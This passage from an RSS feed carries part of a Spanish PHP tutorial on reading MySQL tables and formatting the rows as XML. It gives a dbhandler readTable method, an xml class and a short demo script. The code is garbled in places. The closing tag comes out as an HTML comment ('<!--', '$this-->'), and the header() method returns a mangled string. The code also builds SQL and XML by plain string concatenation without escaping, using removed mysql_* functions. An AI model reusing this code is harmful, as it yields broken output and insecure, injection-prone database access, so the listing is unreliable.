17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
</pre></td><td class="code" id="p20code43"><pre class="php" style="font-family:monospace;"><span style="color: #009933; font-style: italic;">/**
 * retrieves data from the selected fields of a certain table
 * @param table to read from
 * @param fields to be retrieved
 */</span>
<span style="color: #000000; font-weight: bold;">function</span> readTable<span style="color: #009900;">&#40;</span><span style="color: #000088;">$table</span><span style="color: #339933;">,</span><span style="color: #000088;">$fields</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  <span style="color: #666666; font-style: italic;">//variables</span>
  <span style="color: #000088;">$resultsArray</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #666666; font-style: italic;">//fields</span>
  <span style="color: #000088;">$fieldsList</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fields</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$key</span><span style="color: #339933;">=&gt;</span><span style="color: #000088;">$value</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$fieldsList</span> <span style="color: #339933;">.=</span> <span style="color: #000088;">$value</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;,&quot;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #666666; font-style: italic;">//remove last comma</span>
  <span style="color: #000088;">$fieldsList</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/substr" rel="external"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fieldsList</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><a href="http://www.php.net/strlen" rel="external"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fieldsList</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #666666; font-style: italic;">//consulta</span>
  <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;SELECT &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$fieldsList</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; FROM &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$table</span><span style="color: #339933;">;</span>
  <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">resultset</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/mysql_query" rel="external"><span style="color: #990000;">mysql_query</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #339933;">,</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">identifier</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">results</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/mysql_num_rows" rel="external"><span style="color: #990000;">mysql_num_rows</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">resultset</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">results</span> <span style="color: #339933;">&gt;</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/mysql_fetch_array" rel="external"><span style="color: #990000;">mysql_fetch_array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">resultset</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
      <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fields</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$key</span><span style="color: #339933;">=&gt;</span><span style="color: #000088;">$index</span><span style="color: #009900;">&#41;</span>
      <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$resultsArray</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$index</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$index</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//return results in a matrix</span>
        <span style="color: #666666; font-style: italic;">// each result has an index called as the column name in their table</span>
      <span style="color: #009900;">&#125;</span>
      <span style="color: #000088;">$i</span><span style="color: #339933;">++;</span>
    <span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #b1b100;">return</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$resultsArray</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Sólo queda <strong>rellenar el prototipo</strong> con el contenido de las funciones:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p20code44'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p2044"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
</pre></td><td class="code" id="p20code44"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">/* 
 * class to format data as XML
 * @author Jorge Albaladejo Pomares [correo@jorgealbaladejo.com]
 * @license Creative Commons License http://creativecommons.org/licenses/by-sa/3.0/
 */</span>
<span style="color: #666666; font-style: italic;">//</span>
<span style="color: #000000; font-weight: bold;">class</span> xml 
<span style="color: #009900;">&#123;</span>
  <span style="color: #666666; font-style: italic;">//</span>
  <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$content</span><span style="color: #339933;">;</span>
  <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$xml_version</span><span style="color: #339933;">;</span>
  <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$xml_encoding</span><span style="color: #339933;">;</span>
  <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$data_label</span><span style="color: #339933;">;</span>
  <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$item_label</span><span style="color: #339933;">;</span>
  <span style="color: #666666; font-style: italic;">//</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/** 
   * constructor; loads some default data
   */</span>
  <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> xml<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> 
  <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">content</span>       <span style="color: #339933;">=</span> <a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">xml_version</span>   <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;1.0&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">xml_encoding</span>  <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;ISO-8859-1&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">data_label</span>    <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;datos&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">item_label</span>    <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;item&quot;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/** 
   * Gets data to show in a two dimmensional array
   * and stores it internally
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> setContent<span style="color: #009900;">&#40;</span><span style="color: #000088;">$data</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #009900;">&#41;</span> 
  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$data</span> <span style="color: #339933;">!=</span> <span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #009900;">&#41;</span> 
    <span style="color: #009900;">&#123;</span>
      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">content</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$data</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/** 
   * Gets data to show in a two dimensional array
   * and stores it internally
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> getContent<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> 
  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">content</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/** 
   * Shows as a text string values in XML format
   * @return XML formatted data
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> toString<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> 
  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">content</span> <span style="color: #339933;">!=</span> <span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #009900;">&#41;</span> 
    <span style="color: #009900;">&#123;</span>
      <span style="color: #000088;">$return</span>  <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span>
      <span style="color: #000088;">$return</span> <span style="color: #339933;">.=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #000088;">$return</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">data_label</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
      <span style="color: #666666; font-style: italic;">//for each element from the matrix, there is a nested matrix with data from mysql.</span>
      <span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">content</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$result</span><span style="color: #009900;">&#41;</span>
      <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$return</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\t</span>&lt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">item_label</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$result</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$value</span> <span style="color: #009900;">&#41;</span> 
        <span style="color: #009900;">&#123;</span>
          <span style="color: #000088;">$return</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot; &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;=<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$value</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
        <span style="color: #000088;">$return</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;/&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
      <span style="color: #009900;">&#125;</span>
      <span style="color: #000088;">$return</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;!--&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">--&gt;</span><span style="color: #004000;">data_label</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&gt;&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$return</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/** 
   * Returns XML header
   * @return XML header
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> <a href="http://www.php.net/header" rel="external"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;xml_version.&quot;</span>\<span style="color: #0000ff;">&quot; encoding=<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">xml_encoding</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span>?&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Y un script que utilice estas dos clases (dbhandler y xml) para mostrar datos de una base de datos nos quedaría tan sencillo como ésto:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p20code45'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p2045"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
</pre></td><td class="code" id="p20code45"><pre class="php" style="font-family:monospace;"><span style="color: #009933; font-style: italic;">/**
 * script connect to a database and read tables using XML
 * @author Jorge Albaladejo Pomares [correo@jorgealbaladejo.com]
 * @license Creative Commons License http://creativecommons.org/licenses/by-sa/3.0/
 */</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//main classes</span>
<span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'class.dbhandler.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'class.xml.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//main script</span>
<span style="color: #000088;">$db</span>     <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> dbhandler<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'john_smith'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'h01y_GRail'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'pastafarian_food'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'localhost'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$fields</span>   <span style="color: #339933;">=</span> <a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'id'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'name'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'special_powers'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$results</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$db</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">readTable</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'superheroes'</span><span style="color: #339933;">,</span><span style="color: #000088;">$fields</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//got data, show them as XML</span>
<span style="color: #000088;">$xml</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> xml<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$xml</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setContent</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$results</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://www.php.net/header" rel="external"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Content-Type: text/xml'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$xml</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">toString</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$db</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">disconnect</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://jorgealbaladejo.com/2007/05/26/formateado-de-datos-en-xml/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

